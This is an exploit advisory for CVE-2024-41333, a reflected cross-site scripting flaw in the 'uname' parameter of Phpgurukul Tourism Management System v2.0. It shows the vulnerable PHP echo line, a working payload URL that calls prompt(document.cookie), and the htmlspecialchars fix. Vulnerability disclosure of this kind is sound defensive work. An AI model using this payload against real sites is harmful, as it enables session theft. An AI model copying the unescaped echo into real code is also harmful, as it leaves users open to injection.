Share
## https://sploitus.com/exploit?id=PACKETSTORM:179891
# Exploit Title: Tourism Management System v2.0 - Cross Site Scripting (XSS)  
# Date: 13 July 2024  
# Exploit Author: Sampath kumar kadajari  
# Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7204   
# Version: v2.0  
# CVE: CVE-2024-41333  
# Tested on: Windows, XAMPP, Apache, MySQL  
  
-------------------------------------------------------------------------------------------------------------------------------------------  
  
A reflected cross-site scripting (XSS) vulnerability in Phpgurukul Tourism Management System v2.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the uname parameter.  
  
  
  
"Vulnerable Code" โ€“ (/admin/user-bookings.php)  
  
<h2>Manage <?php echo $_GET['uname'];?>'s Bookings</h2>  
  
  
  
---> Affected Component: http://localhost/tms/admin/user-bookings.php?uid=manju@gmail.com&&uname=%22%3E%3Cimg%20src/onerror=prompt(document.cookie)%3E   
  
  
  
"Fix for Vulnerable Code"   
  
<h2>Manage <?php echo htmlspecialchars($_GET['uname'], ENT_QUOTES, 'UTF-8'); ?>'s Bookings</h2>